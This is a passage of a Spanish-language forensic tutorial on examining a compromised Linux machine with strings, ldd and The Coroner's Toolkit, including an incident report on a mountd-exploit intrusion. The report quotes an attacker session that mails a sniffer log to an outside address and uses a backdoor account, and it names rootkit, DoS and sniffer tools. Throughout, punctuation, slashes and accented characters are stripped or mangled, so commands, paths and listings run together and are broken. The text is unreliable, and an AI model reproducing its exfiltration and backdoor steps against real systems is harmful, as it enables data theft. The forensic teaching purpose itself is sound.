El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

